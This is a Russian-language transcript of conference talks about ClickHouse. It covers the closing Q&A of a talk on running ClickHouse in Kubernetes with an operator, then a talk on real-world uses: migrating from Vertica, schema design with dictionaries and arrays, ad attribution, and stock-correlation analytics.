Но есть такой проект, как TSBS. Какая его основная задача? Это тест баз данных на производительность. Это попытка сравнивать теплое с теплым, мягкое с мягким.


Как он работает? Генерируется один набор данных. Потом этот набор данных на одинаковом наборе тестов прогоняется на разных базах данных. И каждая база данных решает одну задачу так, как она умеет. И потом можно результаты сравнивать.


Он уже поддерживает большую кучу баз данных. Я выделил три основных. Это:


  • TimescaleDB.
  • InfluxDB.
  • ClickHouse.


Также было проведено сравнение с другим решением похожим. Сравнение с RedShift. Сравнение было произведено на Amazon. ClickHouse тоже хорошо всех обгоняет в данном вопросе.



Какие можно сделать выводы из того, что я рассказал?


  • DB в Kubernetes можно. Наверное, можно любые, но в целом выглядит, что можно. ClickHouse в Kubernetes точно можно силами нашего оператора.
  • Оператор помогает автоматизировать процессы и реально упрощает жизнь.
  • Производительность нормальная.
  • И, нам кажется, что это можно и нужно использовать.

Open source присоединяйтесь!


Как я уже говорил, оператор это полностью open source продукт, поэтому было бы очень хорошо, если бы максимальное количество людей его использовало. Присоединяйтесь! Мы ждем вас всех!


Всем спасибо!


Вопросы



Спасибо за доклад! Меня зовут Антон. Я из компании SEMrush. Мне интересно, что с логированием. Про мониторинг слышно, а про логирование ничего, если говорить о кластере целиком. У нас, например, поднят кластер на железе. И мы используем централизованное логирование, стандартными средствами собираем в общую кучу. И потом оттуда достаем интересные нам данные.


Хороший вопрос, т. е. логирование в списке todo. Оператор наш пока что это не автоматизирует. Он еще развивается, проект еще достаточно молодой. Мы понимаем необходимость логирования. Это тоже очень важная тема. И она, наверное, не менее важная, чем мониторинг. Но первым в списке на реализацию был мониторинг. Логирование будет. Мы, естественно, стараемся проавтоматизировать все стороны жизнедеятельности кластера. Поэтому ответ на текущий момент оператор, к сожалению, этого не умеет, но это есть в планах, мы это будем делать. Если есть желание присоединиться, то pull request, пожалуйста.


Здравствуйте! Спасибо за доклад! У меня стандартный вопрос, связанные с Persistent Volumes. Когда мы создаем данным оператором конфигурацию, как оператор определяет на какой ноде у нас примоутен какой-то диск, либо папка? Мы должны ему предварительно объяснить, что, пожалуйста, размести наш ClickHouse именно на этих нодах, на которых есть диск?


Насколько я понимаю, этот вопрос это продолжение local storage, особенно, части его по hostPath. Это как объяснять всей системе, что надо, чтобы pod был запущен именно на такой-то ноде, на которую у нас есть физический подключенный диск, который смонтирован по такому-то пути. Это целая секция, которую я затронул очень поверхностно, потому что там ответ достаточно большой.


Вкратце это выглядит так. Нам, естественно, надо сделать provisioning этих volumes. На текущей момент в local storage динамического provision нет, поэтому DevOps должны сами нарезать диски, вот эти volumes. И должны объяснить Kubernetes provisioning, что у тебя будут Persistent volumes такого-то класса, который находится на таких-то нодах. Потом надо будет объяснить Kubernetes, что podы, которые требуют такой-то класс local storage, надо по labels шедулить только на такие-то ноды. Для этих целей в операторе есть возможность назначить каким-то label и one per host instance. И получится, что podы будут смаршрутизированы Kubernetesом для запуска только на ноды, удовлетворяющим требованиям, labels, говоря простым языком. Администраторы назначают labels, делают provisioning дисков руками. И тогда оно масштабируется.


И как раз третий вариант local помогает это немножко облегчить. Как я уже делал акцент, это кропотливая работа по настройке, которая на выходе помогает получить максимальную производительность.


У меня есть второй вопрос, связанный с этим. Kubernetes задумывался так, что нам не важно потеряем ли мы ноду или нет. Что в данном случае нам делать, если ноду, где у нас висит шард, мы потеряли?


Да, Kubernetes изначально позиционировался, что у нас отношения к нашим podам это как cattle, а тут у нас каждый диск становится чем-то вроде домашнего любимца. Есть такая проблема, что мы их не можем просто так выбрасывать. И развитие Kubernetes идет в ту сторону, что невозможно полностью относиться к этому философски, как к полностью выбрасываемым ресурсам.


Теперь практический вопрос. Что делать, если у вас потерялась нода, на которой диск был? Тут уже задача решается на более высоком уровне. В случае с ClickHouse у нас есть реплики, которые работают на уровне выше, т.е. на уровне ClickHouse.


Какая получается диспозиция? За то, чтобы не потерялись данные отвечает DevOps. Он должен правильно настроить репликацию и должен следить, чтобы репликация исполнялась. В реплике на уровне ClickHouse должны быть данные продублированы. Это не та задача, которую решает оператор. И не та задача, которую решает сам Kubernetes. Это на уровне ClickHouse.


Что делать, если у вас железная нода отвалилась? И получается, что надо будет поставить вторую, правильно на ней спровижинить диск, нанести labels. И после этого она станет удовлетворять требованиям, что Kubernetes на ней может запустить instance podа. Kubernetes его запустит. У вас же количество podов не хватает до заданного. Она пройдет по циклу, который я показывал. И на самом верхнем уровне ClickHouse поймет, что у нас вошла реплика, она еще пустая и на нее надо начинать переливать данные. Т.е. этот процесс еще плохо автоматизированный.


Спасибо за доклад! Когда происходят всякие гадости, падает оператор и перезапускается, а в этот момент поступают события, вы как-то обрабатываете это?


Что произойдет, если оператор упал и перезапустился, да?


Да. И в этот момент поступили события.


Задача, что делать в этом случае частично разделяется между оператором и Kubernetes. Kubernetes имеет возможность перепроиграть произошедшее событие. Он перепроигрывает. А уже задача оператора сделать так, чтобы, когда на него был сделал replay лога событий, чтобы эти события были идемпотентными. И чтобы повторное вхождение того же события не ломало нам нашу систему. И наш оператор с этой задачей справляется.


Здравствуйте! Спасибо за доклад! Дмитрий Завьялов, компания Смедова. Планируется ли добавление в оператор возможности настройки с haproxy? Интересен какой-нибудь другой балансировщик помимо стандартного, чтобы он умным был и понимал, что там реально ClickHouse.


Вы говорите про Ingress?


Да, Ingress заменить на haproxy. В haproxy можно указать топологию кластера, где у него реплики.


Пока что мы над этим не думали. Если вам это надо и сможете объяснить, зачем это надо, то можно будет реализовать, особенно, если вы захотите поучаствовать. Мы с удовольствием рассмотрим вариант. Краткий ответ нет, у нас на текущий момент такой функциональности нет. Спасибо за наводку, мы на это дело посмотрим. А если вы еще объясните use case и зачем это надо на практике, например, issues на GitHub создадите, то прекрасно будет.


Уже есть.


Хорошо. Мы открыты к любым предложениям. И haproxy ставится в список todo. Список todo растет, а не убавляется пока. Но это хорошо, это значит, что продукт востребован.

Подробнее..

Теория и практика использования ClickHouse в реальных приложениях. Александр Зайцев

24.07.2020 10:04:54 | Автор: admin


Несмотря на то, что данных сейчас много почти везде, аналитические БД все еще довольно экзотичны. Их плохо знают и еще хуже умеют эффективно использовать. Многие продолжают "есть кактус" с MySQL или PostgreSQL, которые спроектированы под другие сценарии, мучиться с NoSQL или переплачивать за коммерческие решения. ClickHouse меняет правила игры и значительно снижает порог вхождения в мир аналитических DBMS.



Кто я такой и почему я рассказываю о ClickHouse? Я директор по разработке в компании LifeStreet, которая использует ClickHouse. Кроме того, я основатель Altinity. Это партнер Яндекса, который продвигает ClickHouse и помогает Яндексу сделать ClickHouse более успешным. Также готов делиться знаниями о ClickHouse.



И еще я не брат Пети Зайцева. Меня часто об этом спрашивают. Нет, мы не братья.



Всем известно, что ClickHouse:


  • Очень быстрый,
  • Очень удобный,
  • Используется в Яндексе.

Чуть менее известно, в каких компаниях и как он используется.



Я вам расскажу, для чего, где и как используется ClickHouse, кроме Яндекса.


Расскажу, как конкретные задачи решаются при помощи ClickHouse в разных компаниях, какие средства ClickHouse вы можете использовать для своих задач, и как они были использованы в разных компаниях.


Я подобрал три примера, которые показывают ClickHouse с разных сторон. Я думаю, это будет интересно.



Первый вопрос: Зачем нужен ClickHouse?. Вроде бы вопрос достаточно очевидный, но ответов на него больше, чем один.



  • Первый ответ ради производительности. ClickHouse очень быстрый. Аналитика на ClickHouse тоже очень быстрая. Его часто можно использовать там, где что-то другое работает очень медленно или очень плохо.
  • Второй ответ это стоимость. И в первую очередь стоимость масштабирования. Например, Vertica совершенно отличная база данных. Она очень хорошо работает, если у вас не очень много терабайт данных. Но когда речь идет о сотнях терабайтах или о петабайтах, то стоимость лицензии и поддержки выходит в достаточно существенную сумму. И это дорого. А ClickHouse бесплатный.
  • Третий ответ это операционная стоимость. Это подход чуть-чуть с другой стороны. RedShift отличный аналог. На RedShift можно очень быстро сделать решение. Оно будет хорошо работать, но при этом каждый час, каждый день и каждый месяц вы будете достаточно дорого платить Amazon, потому что это существенно дорогой сервис. Google BigQuery тоже. Если им кто-то пользовался, то он знает, что там можно запустить несколько запросов и получить счет на сотни долларов внезапно.

В ClickHouse этих проблем нет.



Где используется ClickHouse сейчас? Кроме Яндекса ClickHouse используется в куче разных бизнесов и компаний.


  • В первую очередь это аналитика веб-приложений, т. е. это use case, который пришел из Яндекса.
  • Много AdTech компаний используют ClickHouse.
  • Многочисленные компании, которым нужно анализировать операционные логи с разных источников.
  • Несколько компаний используют ClickHouse для мониторинга логов безопасности. Они их загружают в ClickHouse, делают отчеты, получают нужные им результаты.
  • Компании начинают его использовать в финансовом анализе, т. е. постепенно большой бизнес тоже подбирается к ClickHouse.
  • CloudFlare. Если кто-то за ClickHouse следит, то наверняка слышал название этой компании. Это один из существенных контрибуторов из community. И у них очень серьезная ClickHouse-инсталляция. Например, они сделали Kafka Engine для ClickHouse.
  • Телекоммуникационные компании начали использовать. Несколько компаний ClickHouse используют либо как proof on concept, либо уже в production.
  • Одна компания использует ClickHouse для мониторинга производственных процессов. Они тестируют микросхемы, списывают кучу параметров, там порядка 2 000 характеристик. И дальше анализируют хорошая партия или плохая.
  • Блокчейн-аналитика. Есть такая российская компания, как Bloxy.info. Это анализ ethereum-сети. Это они тоже сделали на ClickHouse.


Причем размер не имеет значения. Есть много компаний, которые используют один маленький сервер. И он им позволяет решить их проблемы. И еще больше компаний используют большие кластера из многих серверов или десятков серверов.


И если смотреть за рекордами, то:


  • Яндекс: 500+ серверов, 25 миллиардов записей в день они там сохраняют.
  • LifeStreet: 60 серверов, примерно 75 миллиардов записей в день. Серверов меньше, записей больше, чем в Яндексе.
  • CloudFlare: 36 серверов, 200 миллиардов записей в день они сохраняют. У них еще меньше серверов и еще больше данных они сохраняют.
  • Bloomberg: 102 сервера, примерно триллион записей в день. Рекордсмен по записям.


Географически это тоже много. Вот эта карта показывает heatmap, где ClickHouse используется в мире. Тут ярко выделяется Россия, Китай, Америка. Европейских стран мало. И можно выделить 4 кластера.


Это сравнительный анализ, тут не надо искать абсолютных цифр. Это анализ посетителей, которые читают англоязычные материалы на сайте Altinity, потому что русскоязычных там нет. И Россия, Украина, Беларусь, т. е. русскоязычная часть сообщества, это самые многочисленные пользователи. Потом идет США и Канада. Очень сильно догоняет Китай. Там полгода назад Китая почти не было, сейчас Китай уже обогнал Европу и продолжает расти. Старушка Европа тоже не отстает, причем лидер использования ClickHouse это, как ни странно, Франция.



Зачем я все это рассказываю? Для того чтобы показать, что ClickHouse становится стандартным решением для анализа больших данных и уже очень много где используется. Если вы его используете, вы в правильном тренде. Если вы еще его не используете, то можно не бояться, что вы останетесь одни и вам никто не поможет, поэтому что уже многие этим занимаются.



Это примеры реального использования ClickHouse в нескольких компаниях.


  • Первый пример это рекламная сеть: миграция с Vertica на ClickHouse. И я знаю несколько компаний, которые с Vertica перешли или находятся в процессе перехода.
  • Второй пример транзакционное хранилище на ClickHouse. Это пример построенный на антипаттернах. Все, что не надо делать в ClickHouse по советам разработчиков, здесь сделано. И при этом сделано настолько эффективно, что это работает. И работает гораздо лучше, чем типичное транзакционное решение.
  • Третий пример это распределенные вычисления на ClickHouse. Был вопрос про то, как можно ClickHouse интегрировать в Hadoop экосистему. Я покажу пример, как компания сделала на ClickHouse что-то типа аналога map reduce контейнера, следя за локализацией данных и т. д, чтобы посчитать очень нетривиальную задачу.


  • LifeStreet Это Ad Tech компания, у которой есть все технологии, сопутствующие рекламной сети.
  • Занимается она оптимизацией объявлений, programmatic bidding.
  • Много данных: порядка 10 миллиардов событий в день. При этом там события могут на несколько подсобытий делиться.
  • Много клиентов этих данных, причем это не только люди, гораздо больше это различные алгоритмы, которые занимаются programmatic bidding.


Компания прошла долгий и тернистый путь. И я о нем рассказывал на HighLoad. Сначала LifeStreet перешла с MySQL (с небольшой остановкой на Oracle) в Vertica. И можно об этом найти рассказ.


И все было очень хорошо, но достаточно быстро стало понятно, что данные растут и Vertica это дорого. Поэтому искались различные альтернативы. Некоторые из них здесь перечислены. И на самом деле мы сделали proof of concept или иногда performance testing почти всех баз данных, которые с 13-го по 16-ый год были доступны на рынке и примерно подходили по функциональности. И о части из них я тоже рассказал на HighLoad.



Стаяла задача мигрировать с Vertica в первую очередь, потому что данные росли. И росли они экспоненциально несколько лет. Потом они вышли на полку, но тем не менее. И прогнозируя этот рост, требования бизнеса на объем данных, по которым нужно делать какую-то аналитику, было понятно, что скоро пойдет разговор о петабайтах. А за петабайты платить уже очень дорого, поэтому искали альтернативу, куда уходить.



Куда уходить? И долгое время было совершенно не понятно, куда уходить, потому что с одной стороны есть коммерческие базы данных, они вроде бы неплохо работают. Некоторые работают почти так же хорошо, как Vertica, некоторые похуже. Но они все дорогие, ничего дешевле и лучше найти не удавалось.


С другой стороны, есть open source решения, которых не очень много, т. е. для аналитики их можно пересчитать по пальцам. И они бесплатные или дешевые, но работают медленно. И в них часто не хватает нужной и полезной функциональности.


И того, чтобы совмещало то хорошее, что есть в коммерческих базах данных и все то бесплатное, что есть в open source, ничего не было.



Ничего не было до тех пор, пока неожиданно Яндекс не вытащил, как кролика фокусник из шапки, ClickHouse. И это было решение неожиданное, до сих пор задают вопрос: Зачем?, но тем не менее.



И сразу летом 2016-го года мы стали смотреть, что такое ClickHouse. И оказалось, что он иногда может быть быстрее Vertica. Мы тестировали разные сценарии на разных запросах. И если запрос использовал только одну таблицу, т. е. без всяких джойны (join), то ClickHouse был быстрее Vertica в два раза.


Я не поленился и посмотрел еще тесты Яндекса на днях. Там то же самое: в два раза ClickHouse быстрее Vertica, поэтому они часто об этом говорят.


Но если в запросах есть джойны (join), то все получается не очень однозначно. И ClickHouse может быть медленнее Vertica в два раза. А если чуть-чуть запрос подправить и переписать, то примерно равные. Неплохо. И бесплатно.



И получив результаты тестов, и посмотрев с разных сторон на это, LifeStreet поехал на ClickHouse.



Это 16-ый год, напоминаю. Это было как в анекдоте про мышей, которые плакали и кололись, но продолжали есть кактус. И об этом было подробно рассказано, есть об этом видео и т. д.



Я поэтому не буду подробно об этом рассказывать, расскажу только о результатах и о нескольких интересных вещах, о которых я не рассказывал тогда.


Результаты это:


  • Успешная миграция и более года система уже работает в продакшене.
  • Производительность и гибкость выросли. Из 10 миллиардов записей, которые мы могли позволить себе хранить в день и то недолго, теперь LifeStreet хранит 75 миллиардов записей в день и может это делать 3 месяца и больше. Если посчитать в пике, то это до миллиона событий в секунду сохраняется. Больше миллиона SQL-запросов в день прилетают в эту систему, в основном от разных роботов.
  • Несмотря на то, что для ClickHouse стали использовать больше серверов, чем для Vertica, экономия и на железе получилась, потому что в Вертике использовались достаточно дорогие SAS-диски. В ClickHouse использовались SATA. А почему? Потому что в Vertica insert синхронный. И синхронизация требует, чтобы диски не очень сильно тормозили, а также, чтобы сеть не очень тормозила, т. е. достаточно дорогая операция. А в ClickHouse insert асинхронный. Более того, можно все локально всегда писать, никаких дополнительных затрат на это нет, поэтому данные в ClickHouse можно вставлять гораздо быстрее, чем в Вертику даже на не самых быстрых дисках. А на чтение примерно одинаково. Чтение на SATA, если они в RAID сидят, то это все достаточно быстро.
  • Не ограничены лицензией, т. е. 3 петабайта данных в 60 серверов (20 серверов это одна реплика) и 6 триллионов записей в фактах и агрегатах. Ничего подобного на Vertica позволить себе не могли.


Сейчас я перехожу к практическим вещам в данном примере.


  • Первое это эффективная схема. От схемы зависит очень многое.
  • Второе это генерация эффективного SQL.


Типичный OLAP-запрос это select. Часть колонок идет в group by, часть колонок идет в агрегатные функции. Есть where, которую можно представить как срез куба. Весь group by можно представить как проекцию. И поэтому это называется многомерным анализом данных.



И часто это моделируется в виде star-схемы, когда есть центральный факт и характеристики этого факта по сторонам, по лучам.



И с точки зрения физического дизайна, того, как это ложится на таблицу, то обычно делают нормализованное представление. Можете денормализовать, но это дорого по диску и не очень эффективно по запросам. Поэтому обычно делают нормализованное представление, т. е. таблица фактов и много-много таблиц измерений.


Но в ClickHouse это работает плохо. Есть две причины:


  • Первая это потому что в ClickHouse не очень хорошие джойны (join), т. е. джойны (join) есть, но они плохие. Пока плохие.
  • Вторая это то, что таблицы не обновляются. Обычно в этих табличках, которые вокруг star-схемы, нужно что-то менять. Например, название клиента, название компании и прочее. И это не работает.

И выход из этого в ClickHouse есть. даже целых два:


  • Первый это использование словарей. External Dictionaries это то, что помогает на 99 % решить проблему со star-схемой, с апдейтами и прочим.
  • Второй это использование массивов. Массивы тоже помогают избавиться от джойны (join) и от проблем с нормализацией.


  • Не нужен джойны (join).
  • Обновляемые. С марта 2018-го года появилась недокументированная возможность (в документации вы об этом не найдете) обновлять словари частично, т. е. те записи, которые поменялись. Практически это как таблица.
  • Всегда в памяти, поэтому джойны (join) со словарем работают быстрее, чем, если бы это была таблица, которая лежит на диске и еще не факт, что она в кэше, скорее всего, что нет.


  • Тоже не нужен джойны (join).
  • Это компактное представление 1 ко многим.
  • И на мой взгляд, массивы сделаны для гиков. Это лямбда-функции и прочее.

Это не для красного словца. Это очень мощная функциональность, которая позволяет делать многие вещи очень просто и элегантно.



Типичные примеры, которые помогают решать массивы. Эти примеры простые и достаточно наглядные:


  • Поиск по тегам. Если у вас там есть хештеги и вы хотите найти какие-то записи по хештегу.
  • Поиск по key-value парам. Тоже есть какие-то атрибуты со значением.
  • Хранение списков ключей, которые вам нужно перевести во что-то другое.

Все эти задачи можно решить без массивов. Теги можно в какую-то строчку положить и регулярным выражением выбирать или в отдельную таблицу, но тогда придется делать джойны (join).



А в ClickHouse ничего не нужно делать, достаточно описать массив string для хештегов или сделать вложенную структуру для систем типа key-value.


Вложенная структура это, может быть, не самое удачное название. Это два массива, которые имеют общую часть в названии и некоторые связанные характеристики.


И по тегу искать очень просто. Есть функция has, которая проверяет, что в массиве есть элемент. Все, нашли все записи, которые относятся к нашей конференции.


Поиск по subid чуть-чуть посложнее. Надо нам сначала найти индекс ключа, а потом уже взять элемент с этим индексом и проверить, что это значение такое, какое нам нужно. Но тем не менее очень просто и компактно.


Регулярное выражение, которое вы бы захотели написать, если бы вы все это хранили в одной строчке, оно было бы, во-первых, корявым. А, во-вторых, работало гораздо дольше, чем два массива.



Другой пример. У вас есть массив, в котором вы храните ID. И вы можете перевести их в имена. Функция arrayMap. Это типичная лямбда-функция. Вы передаете туда лямбда-выражения. И она каждому ID из словаря вытаскивает значение имени.


Аналогичным образом можно сделать и поиск. Передается функция предикат, которая проверяет чему соответствуют элементы.



Вот эти вещи сильно упрощают схему и решают кучу проблем.


Но следующая проблема, с которой мы столкнулись и о которой я хотел бы упомянуть, это эффективные запросы.


  • В ClickHouse нет планировщика запросов. Вообще нет.
  • Но тем не менее сложные запросы все равно планировать надо. В каких случаях?
  • Если в запросе есть несколько джойны (join), которые вы заворачиваете в подселекты. И порядок, в котором они выполняются, имеет значение.
  • И второе если запрос распределенный. Потому что в распределенном запросе только самый внутренний подселект выполняется распределенно, а все остальное передается на один сервер, к которому вы подключились и выполняется там. Поэтому если у вас распределенные запросы со многими джойны (join), то нужно выбирать порядок.

И даже в более простых случаях тоже иногда следует выполнять работу планировщика и запросы чуть-чуть переписывать.



Вот пример. В левой части запрос, который показывает топ-5 стран. И он выполняется 2,5 секунды, по-моему. А в правой части тот же запрос, но чуть-чуть переписанный. Мы вместо того, чтобы группировать по строке, стали группировать по ключу (int). И это быстрее. А потом мы к результату подключили словарь. Вместо 2,5 секунд запрос выполняется 1,5 секунды. Это хорошо.



Похожий пример с переписыванием фильтров. Здесь запрос по России. Он выполняется 5 секунд. Если мы его перепишем таким образом, что будем сравнивать снова не строку, а числа с каким-то сетом тех ключей, которые относятся к России, то это будет гораздо быстрее.



Таких трюков много. И они позволяют существенно ускорить запросы, которые вам кажется, что уже работают быстро, или, наоборот, работают медленно. Их можно сделать еще быстрее.



  • Максимум работы в распределенном режиме.
  • Сортировка по минимальным типам, как я это делал по интам.
  • Если есть какие-то джойны (join), словари, то их лучше делать в самую последнюю очередь, когда у вас уже данные хотя бы частично сгруппированные, тогда операция джойны (join) или вызов словаря будет меньше раз вызываться и это будет быстрее.
  • Замена фильтров.

Есть еще другие техники, а не только те, которые я продемонстрировал. И все они позволяют иногда существенно ускорить выполнение запросов.



Переходим к следующему примеру. Компания Х из США. Что она делает?


Была задача:


  • Офлайн-связывание транзакций рекламы.
  • Моделирование разных моделей связывания.


В чем состоит сценарий?


Обычный посетитель заходит на сайт, например, 20 раз в месяц с разных объявлений или просто так иногда приходит без всяких объявлений, потому что помнит этот сайт. Смотрит какие-то продукты, кладет их в корзину, вынимает их из корзины. И, в конце концов, что-то покупает.


Резонные вопросы: Кому надо заплатить за рекламу, если надо? и Какая реклама на него повлияла, если повлияла?. Т. е. почему он купил и как сделать так, чтобы люди, похожие на этого человека, тоже покупали?


Для того чтобы эту задачу решить, нужно связывать события, которые происходят на веб-сайте правильным образом, т. е. как-то между ними выстраивать связь. Потом их передавать для анализа в DWH. И на основании этого анализа строить модели, кому и какую рекламу показывать.



Рекламная транзакция это набор связанных событий пользователя, которые начинаются от показа объявления, дальше что-то происходит, потом, может быть, покупка, а потом могут быть покупки в покупке. Например, если это мобильное приложение или мобильная игра, то обычно установка приложения бесплатно происходит, а если там что-то дальше делается, то на это могут потребоваться денежки. И чем больше человек потратит в приложении, тем он ценнее. Но для этого надо все связать.



Есть много моделей связывания.


Самые популярные это:


  • Last Interaction, где interaction это либо клик, либо показ.
  • First Interaction, т. е. первое, что привело человека на сайт.
  • Линейная комбинация всем поровну.
  • Затухание.
  • И прочее.


И как это все работало изначально? Был Runtime и Cassandra. Cassandra использовалась как transaction storage, т. е. в ней хранились все связанные транзакции. И когда приходит какое-то событие в Runtime, например, показ какой-то страницы или что-то еще, то делался запрос в Cassandra есть такой человек или нет. Потом доставались транзакции, которые к нему относятся. И производилось связывание.


И если повезло, что в запросе есть transaction id, то это легко. Но обычно не везет. Поэтому надо было найти последнюю транзакцию или транзакцию с последним кликом и т. д.


И это все очень хорошо работало, пока связывание было к последнему клику. Потому что кликов, скажем, 10 миллионов в день, 300 миллионов в месяц, если на месяц ставить окно. И поскольку в Cassandra это должно быть все в памяти для того, чтобы работало быстро, потому что требуется Runtime ответить быстро, то требовалось примерно 10-15 серверов.


А когда захотели к показу привязывать транзакцию, то сразу получилось не так весело. А почему? Видно, что в 30 раз больше событий надо хранить. И, соответственно, нужно в 30 раз больше серверов. И получается, что это какая-то астрономическая цифра. Держать до 500 серверов для того, чтобы делать связывание, притом, что в Runtime серверов существенно меньше, то это какая-то неправильная цифра. И стали думать, что делать.



И вышли на ClickHouse. А как это делать на ClickHouse? На первый взгляд кажется, что это набор антипаттернов.


  • Транзакция растет, мы к ней подцепляем все новые и новые ивенты, т. е. она mutable, а ClickHouse не очень хорошо работает с mutable-объектами.
  • Когда к нам приходит посетитель, то нам нужно вытащить его транзакции по ключу, по его visit id. Это тоже point query, в ClickHouse так не делают. Обычно в ClickHouse большие сканы, а тут нам нужно достать несколько записей. Тоже антипаттерн.
  • Кроме того, транзакция была в json, но переписывать не хотели, поэтому хотели хранить json не структурированно, а если надо, то из него что-то вытаскивать. И это тоже антипаттерн.

Т. е. набор антипаттернов.



Но тем не менее получилось сделать систему, которая очень хороша работала.


Что было сделано? Появился ClickHouse, в который забрасывались логи, разбитые на записи. Появился attributed сервис, который получал из ClickHouse логи. После этого для каждой записи по visit id получал транзакции, которые могли быть еще не дообработанные и плюс снапшоты, т. е. транзакции уже связанные, а именно результат предыдущей работы. Из них уже делал логику, выбирал правильную транзакцию, подсоединял новые события. Снова записывал в лог. Лог уходил обратно в ClickHouse, т. е. это постоянно цикличная система. И кроме того, уходил в DWH, чтобы там это анализировать.


Именно в таком виде это работало не очень хорошо. И чтобы ClickHouse было проще, когда шел запрос по visit id, то группировали эти запросы в блоки по 1 000-2 000 visit id и вытаскивали для 1 000-2 000 человек все транзакции. И тогда все это заработало.



Если посмотреть вовнутрь ClickHouse, то там всего 3 основных таблиц, которые все это обслуживают.


Первая таблица, в которую заливаются логи, причем логи заливаются практически без обработки.


Вторая таблица. Через materialized view из этих логов выкусывались, которые еще не attributed ивенты, т. е. несвязанные. И через materialized view из этих логов вытаскивались транзакции для построения снапшота. Т. е. специальным materialized view строил снапшот, а именно последнее накопленное состояние транзакции.



Вот здесь написан текст на SQL. Я бы хотел прокомментировать в нем несколько важных вещей.


Первая важная вещь это возможность в ClickHouse из json вытаскивать колонки, поля. Т. е. в ClickHouse есть некоторые методы для работы с json. Они очень-очень примитивные.


visitParamExtractInt позволяет из json вытаскивать атрибуты, т. е. первое попадание срабатывает. И таким образом можно вытащить transaction id или visit id. Это раз.


Второе здесь использовано хитрое materialized поле. Что это значит? Это значит, что вы его в таблицу вставить не можете, т. е. оно не вставляется, оно вычисляется и хранится при вставке. При вставке ClickHouse делает за вас работу. И уже вытаскивается из json то, что вам потом понадобится.


В данном случае materialized view это для необработанных строк. И как раз используется первая таблица с практически сырыми логами. И что делает? Во-первых, меняет сортировку, т. е. сортировка теперь идет по visit id, потому что нам нужно быстро вытаскивать именно по конкретному человеку его транзакцию.


Вторая важная вещь это index_granularity. Если вы видели MergeTree, то обычно по дефолту 8 192 стоит index_granularity. Что это такое? Это параметр разреженности индекса. В ClickHouse индекс разреженный, он никогда не индексирует каждую запись. Он это делает через каждые 8 192. И это хорошо, когда требуется много данных подсчитать, но плохо, когда немножко, потому что большой overhead. И если уменьшать index granularity, то мы уменьшаем overhead. Уменьшить до единицы нельзя, потому что может памяти не хватить. Индекс всегда в памяти хранится.



А снапшот использует еще некоторые интересные функции ClickHouse.


Во-первых, это AggregatingMergeTree. И в AggregatingMergeTree хранится argMax, т. е. это состояние транзакции, соответствующее последнему timestamp. Транзакции все время новые генерируются для данного посетителя. И в самое последнее состояние этой транзакции мы добавили ивент и у нас появилось новое состояние. Оно снова попало в ClickHouse. И через argMax в этом материализованном представлении мы всегда можем получить актуальное состояние.



  • Связывание отвязано от Runtime.
  • Хранится и обрабатывается до 3 миллиардов транзакций в месяц. Это на порядок больше, чем было в Cassandra, т. е. в типичной транзакционной системе.
  • Кластер 2х5 серверов ClickHouse. 5 серверов и каждый сервер имеет реплику. Это даже меньше, чем было в Cassandra для того, чтобы сделать click based атрибуцию, а здесь у нас impression based. Т. е. вместо того, чтобы увеличивать количество серверов в 30 раз, их удалось уменьшить.


И последний пример это финансовая компания Y, которая анализировала корреляции изменений котировок акций.


И задача стояла такая:


  • Есть примерно 5 000 акций.
  • Котировки каждые 100 миллисекунды известны.
  • Данные накопились за 10 лет. Видимо, для некоторых компаний побольше, для некоторых поменьше.
  • Всего примерно 100 миллиардов строк.

И нужно было посчитать корреляцию изменений.



Здесь есть две акции и их котировки. Если одна идет вверх, и вторая идет вверх, то это положительная корреляция, т. е. одна растет, и вторая растет. Если одна идет вверх, как в конце графика, а вторая вниз, то это отрицательная корреляция, т. е. когда одна растет, другая падает.


Анализируя эти взаимные изменения можно делать предсказания на финансовом рынке.



Но задача сложная. Что для этого делается? У нас есть 100 миллиардов записей, в которых есть: время, акция и цена. Нам нужно посчитать сначала 100 миллиардов раз runningDifference от алгоритма цены. RunningDifference это функция в ClickHouse, которая разницу между двумя строчками последовательно вычисляет.


А после этого надо посчитать корреляцию, причем корреляцию надо посчитать для каждой пары. Для 5 000 акций пар 12,5 миллионов. И это много, т. е. 12,5 раз надо вычислять вот такую функцию корреляции.


И если кто-то забыл, то x и y это мат. ожидание по выборке. Т. е. нужно не только корни и суммы посчитать, а еще внутри этих сумм еще одни суммы. Кучу-кучу вычислений нужно произвести 12,5 миллионов раз, да еще и сгруппировать по часам надо. А часов у нас тоже немало. И успеть надо за 60 секунд. Это шутка.



Надо было успеть хоть как-то, потому что все это работало очень-очень медленно, прежде, чем пришел ClickHouse.



Они пробовали на Hadoop это посчитать, на Spark, на Greenplum. И все это было очень медленно или дорого. Т. е. можно было как-то посчитать, но потом это было дорого.



А потом пришел ClickHouse и все стало гораздо лучше.


Напоминаю, проблема у нас с локальностью данных, потому корреляции нельзя локализовать. Мы не можем сложить часть данных на один сервер, часть на другой и посчитать, у нас должны быть все данные везде.


Что они сделали? Изначально данные локализованные. На каждом из серверов хранятся данные по прайсингу определенного набора акций. И они не пересекаются. Поэтому можно параллельно и независимо посчитать logReturn, все это происходит пока параллельно и распределено.


Дальше решили эти данные уменьшить, при этом не потеряв выразительности. Уменьшить с помощью массивов, т. е. для каждого отрезка времени сделать массив акций и массив цен. Таким образом это занимает гораздо меньше места данные. И с ними несколько удобнее работать. Это почти параллельные операции, т. е. мы параллельно частично считаем и потом записываем на сервер.


После этого это можно среплицировать. Буковка r означает, что эти данные мы среплицировали. Т. е. у нас на всех трех серверах одинаковые данные вот эти массивы.


И дальше специальным скриптом из этого набора 12,5 миллионов корреляций, которые надо посчитать, можно сделать пакеты. Т. е. 2 500 задач по 5 000 пар корреляций. И эту задачу вычислять на конкретном ClickHouse-сервере. Все данные у него есть, потому что данные одинаковые и он может их последовательно вычислять.



Еще раз, как это выглядит. Сначала у нас все данные есть в такой структуре: время, акции, цена. Потом мы посчитали logReturn, т. е. данные той же структуры, только вместо цены у нас уже logReturn. Потом их переделали, т. е. у нас получились время и groupArray по акциям и по прайсам. Среплицировали. И после этого сгенерировали кучу задач и скормили ClickHouse, чтобы он их считал. И это работает.



На proof of concept задача это была подзадача, т. е. взяли меньше данных. И всего на трех серверах.


Первые эти два этапа: вычисление Log_return и заворачивание в массивы заняли примерно по часу.


А вычисление корреляции где-то 50 часов. Но 50 часов это мало, потому что раньше у них это работало неделями. Это был большой успех. И если посчитать, то 70 раз в секунду на этом кластере все считалось.


Но самое главное, что эта система практически без узких мест, т. е. она масштабируется практически линейно. И они это проверили. Успешно ее отмасштабировали.



  • Правильная схема половина успеха. И правильная схема это использование всех нужных технологий ClickHouse.
